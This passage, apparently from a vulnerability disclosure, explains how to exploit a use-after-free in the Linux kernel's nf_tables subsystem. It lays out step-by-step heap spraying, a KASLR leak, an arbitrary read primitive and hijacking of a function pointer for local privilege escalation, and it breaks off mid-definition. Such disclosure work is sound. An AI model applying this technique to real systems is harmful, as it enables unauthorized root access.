u64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
handle;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
u16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
udlen;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
u8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs \
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
*udata;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
/* runtime data below here */</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const struct \
nft_object_ops&nbsp;&nbsp;&nbsp;&nbsp; *ops ____cacheline_aligned;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned \
char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
data[]</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
__attribute__((aligned(__alignof__(u64))));</p> <p class="MsoNormal">};</p>
<p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">To reference an object from a table, we can use `NFT_SET_EXT_OBJREF`. This \
feature is helpful when used in maps, as we can use a different object (eg.: counter) when a \
specific index (like a port) is found in the set/map. Example:</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">```</p>
<p class="MsoNormal">table ip foo {</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; counter \
cnt_obj {</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
packets 0 bytes 0</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; map set1 {</p> \
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
type inet_service : counter</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
elements = { 1337 : &quot;cnt_obj&quot; }</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; chain output \
{</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
type filter hook output priority filter; policy accept;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
counter name tcp dport map @set1</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p> <p \
class="MsoNormal">}</p> <p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">This reference is not heavily used, in fact, there are just a few \
operations applied over it. First, every time we request its name, the contents of \
`obj-&gt;key.name` are read. Every time a new reference is created (e.g: in a map) the \
`obj-&gt;use`  will be increased, and will be decreased every time we remove an element with \
its reference.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Another access we can force is the object functionality itself, for \
example, in counters there is a percpu pointer that is used to access a structure where the \
values for the number of packets and data are increased or decreased. The interesting  point is \
that to reach this through a map, the following code is executed:</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">```c</p>
<p class="MsoNormal">static void nft_objref_map_eval(const struct nft_expr *expr,</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct \
nft_regs *regs,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const \
struct nft_pktinfo *pkt)</p> <p class="MsoNormal">{</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct \
nft_objref_map *priv = nft_expr_priv(expr);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const struct \
nft_set *set = priv-&gt;set;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const struct \
nft_set_ext *ext;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct \
nft_object *obj;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bool found;</p> \
<p class="MsoNormal"><o:p>&nbsp;</o:p></p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; found = \
set-&gt;ops-&gt;lookup(nft_net(pkt), set, &amp;regs-&gt;data[priv-&gt;sreg],</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&amp;ext);</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
if (!found) {</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
regs-&gt;verdict.code = NFT_BREAK;</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
return;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
}</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; obj = \
*nft_set_ext_obj(ext);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
obj-&gt;ops-&gt;eval(obj, regs, pkt);</p> <p class="MsoNormal">}</p>
<p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">There is a dereference of `obj-&gt;ops-&gt;eval`, which means that if as \
part of the use-after-free we can take control of the object and modify `obj-&gt;ops`, we have \
the possibility of hijacking RIP and the legitimate execution flow to escalate  our \
privileges.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">## Achieving KASLR leak</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">As already mentioned, we can issue reads over `obj-&gt;key.name` to \
retrieve the name of the object. This is an important functionality in the exploitation as it \
will give us interesting leaks and primitives.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">On object creation, we can specify a string for the name of the object. \
This is interesting as we can craft a string of a specific size to enter the `obj-&gt;key.name` \
allocation in a specific slab of our need / interest.</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">The designed KASLR leak primitive \
is pretty straightforward: As `seq_operations` structs are of 0x20 bytes, we can provide a \
`0x1f`-sized string (allocation is made with string size plus one for the null terminator) so \
that when `obj-&gt;key.name`  is freed, spraying with `seq_operations` will make one of them \
allocated in the space we had our string placed in.</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">We can request the name of the \
object now and the contents of `seq_operations` will be returned to us, resulting in a \
`single_open` leak, allowing us to calculate the base for KASLR.</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">## Designing the strategy</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">At this point, we realize that if we want to hijack the \
`obj-&gt;ops-&gt;eval` execution, we will need a way to store a fake `nft_object_ops` struct in \
kernel memory (due to SMAP migitation), and predict its address to place it in \
`obj-&gt;ops`.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">We can achieve this condition by applying the following process:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">1) Trigger the use-after-free and provide a 0xc7-sized string \
(`nft_object` counter allocation size).</p> <p class="MsoNormal">2) Create another table.</p>
<p class="MsoNormal">3) Spray with `nft_object` structs by adding multiple objects to the last \
created table.</p> <p class="MsoNormal">4) If it succeeds, a `nft_object` struct will occupy \
the memory space where the string was.</p> <p class="MsoNormal">5) Request the string name for \
the UAF'ed object, the `list.next` pointer will be leaked.</p> <p class="MsoNormal">6) The last \
step leaked `&amp;table-&gt;chain`, which is a `list_head` structure inside a `nft_table`.</p> \
<p class="MsoNormal">7) Prepare another UAF condition and spray by using the table userdata \
feature (in table creation) to force `nla_memdup()` allocations to occupy the `nft_object`.</p> \
<p class="MsoNormal">8) Place in the `nft_object` of the UAF the leaked address of \
`&amp;table-&gt;chain`.</p> <p class="MsoNormal">9) Request the name of the object to leak \
`table-&gt;chain.next`, which has the address of one of the sprayed `nft_object` structs.</p> \
<p class="MsoNormal">10) Delete the third table to free all the sprayed `nft_object` \
structs.</p> <p class="MsoNormal">11) By using the userdata feature again, spray with table \
creation to make `nla_memdup()` allocations (0xc7-sized) to occupy the now freed `nft_object` \
structs.</p> <p class="MsoNormal">12) Those `nla_memdup()` allocations will fill all the \
structs with a fake `nft_object_ops`.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">After all these steps, we know for certain that the struct for which we \
know the address, contains a fake `nft_object_ops` struct. This covers all the requirements for \
the exploitation to work, which are:</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">a) Know the KASLR base (predict address for gadgets and functions)</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">b) Know a heap address with our arbitrary contents (predict address with \
our fake `obj-&gt;ops`)</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">### Leaking ctx-&gt;table address</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Using the same trick we used in the KASLR base prediction phase, we can \
make a `nft_object` be allocated right where our string was.</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">We can do this by providing a \
0xc7-sized string for the object name:</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```c</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">...</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">obj-&gt;key.table = table;</p>
<p class="MsoNormal">obj-&gt;handle = nf_tables_alloc_handle(table);</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">obj-&gt;key.name = nla_strdup(nla[NFTA_OBJ_NAME], GFP_KERNEL);</p>
<p class="MsoNormal">if (!obj-&gt;key.name) {</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; err = \
-ENOMEM;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
goto err_strdup;</p> <p class="MsoNormal">}</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">...</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">This will leak us the `list.next` entry, that points to \
`&amp;table-&gt;objects` (which is a `list_head` struct):</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">```c</p>
<p class="MsoNormal">struct nft_table {</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct \
list_head&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
list;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct rhltable&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
chains_ht;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct list_head&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
chains;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct list_head&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
sets;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct list_head&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
objects;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
struct list_head&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
flowtables;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
u64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
hgenerator;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
u64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
handle;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
u32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
use;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
u16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
family:6,</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& \
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& \
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
flags:8,</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
genmask:2;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
u32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
nlpid;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
*name;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
u16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb \
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
udlen;</p> <p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
u8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs \
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
*udata;</p> <p class="MsoNormal">};</p>
<p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">### Achieving arbitrary read primitive</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">Through the `obj-&gt;key.name`, by taking control of a \
freed-but-referenced `nft_object`, we can achieve an arbitrary read primitive to read strings \
(or any data until a null terminator) at any valid address in memory.</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">To take over the control of a \
`nft_object` struct, we can use `nla_memdup()` from the userdata buffers added to tables when \
setting `NFTA_TABLE_USERDATA` on table creation:</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```c</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">...</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">if (nla[NFTA_TABLE_USERDATA]) {</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
table-&gt;udata = nla_memdup(nla[NFTA_TABLE_USERDATA], GFP_KERNEL);</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if \
(table-&gt;udata == NULL)</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
goto err_table_udata;</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
table-&gt;udlen = nla_len(nla[NFTA_TABLE_USERDATA]);</p> <p class="MsoNormal">}</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">...</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">As we have arbitrary size and data, we can replace the `nft_object` \
contents with our own, and, as we know the address of `&amp;table-&gt;objects`, we can get the \
address of one of the sprayed `nft_object` structs that is pointed to by this entry.  We have \
to point `obj-&gt;key.name` to this address and request the object name.</p> <p \
class="MsoNormal"><o:p>&nbsp;</o:p></p> <p class="MsoNormal">## Code execution and LPE</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">After we achieved all the requirements for the function pointer hijack to \
be executed, this phase of the exploitation is a reuse of the previously mentioned primitives \
and refill techniques.</p> <p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">This is the definition of `nft_object_ops`:</p>
<p class="MsoNormal"><o:p>&nbsp;</o:p></p>
<p class="MsoNormal">```c</p>
<p class="MsoNormal">struct nft_object_ops {</p>
<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
void&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n \
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
(*eval)(struct nft_object *obj,</p> <p \
class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
